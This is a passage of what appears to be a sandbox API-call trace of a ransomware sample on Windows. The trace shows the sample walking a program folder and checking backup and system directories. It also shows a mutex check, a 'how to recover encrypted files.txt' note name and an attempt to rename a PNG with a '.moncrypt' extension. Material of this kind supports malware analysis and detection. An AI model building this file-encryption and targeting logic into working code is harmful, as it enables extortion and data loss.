files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\蘘TP") returned 6 [0058.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18y")) returned 0xffffffff [0058.479] GetLastError () returned 0x2 [0058.479] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18?T\x18\x81")) returned 0xffffffff [0058.480] GetLastError () returned 0x2 [0058.481] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.481] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@뭼R企@\x18?T\x18\x88")) returned 0xffffffff [0058.482] GetLastError () returned 0x2 [0058.482] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@蔴T企@\x18?T\x18\x8f")) returned 0xffffffff [0058.484] GetLastError () returned 0x2 [0058.484] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18?T\x18\x97")) returned 0xffffffff [0058.485] GetLastError () returned 0x2 [0058.485] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.485] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.485] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.485] GlobalUnlock (hMem=0x44000c) returned 0 [0058.485] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.485] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.485] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.485] GlobalUnlock (hMem=0x44000c) returned 0 [0058.486] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.486] GlobalUnlock (hMem=0x440004) returned 0 [0058.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.486] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.486] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.486] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.486] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.486] GlobalLock (hMem=0x440004) returned 0x550170 [0058.486] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.486] GlobalUnlock (hMem=0x440004) returned 0 [0058.486] GlobalLock (hMem=0x440004) returned 0x550170 [0058.486] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.486] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.486] GlobalUnlock (hMem=0x440004) returned 0 [0058.486] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.486] GlobalUnlock (hMem=0x44000c) returned 0 [0058.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", cchLength=0x3c | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\") returned 0x3c [0058.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.487] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.487] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.487] GlobalUnlock (hMem=0x44000c) returned 0 [0058.487] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.487] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.487] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.487] GlobalUnlock (hMem=0x44000c) returned 0 [0058.487] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.487] GlobalUnlock (hMem=0x440004) returned 0 [0058.488] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.488] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.488] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.488] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.488] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.489] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.489] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.489] GlobalUnlock (hMem=0x440004) returned 0 [0058.489] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.489] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.489] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.489] GlobalUnlock (hMem=0x440004) returned 0 [0058.489] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.489] GlobalUnlock (hMem=0x44000c) returned 0 [0058.489] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.489] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.489] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.490] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\1047x576black.png", lpUsedDefaultChar=0x0) returned 4 [0058.490] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.490] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.491] CloseHandle (hObject=0x18c) returned 1 [0058.491] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\я")) returned 1 [0058.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.492] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.492] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.492] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.493] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.493] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.493] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.moncrypt")) returned 0 [0058.493] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0058.493] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.493] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.493] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.493] GlobalHandle (pMem=0x557b78) returned 0x44000c 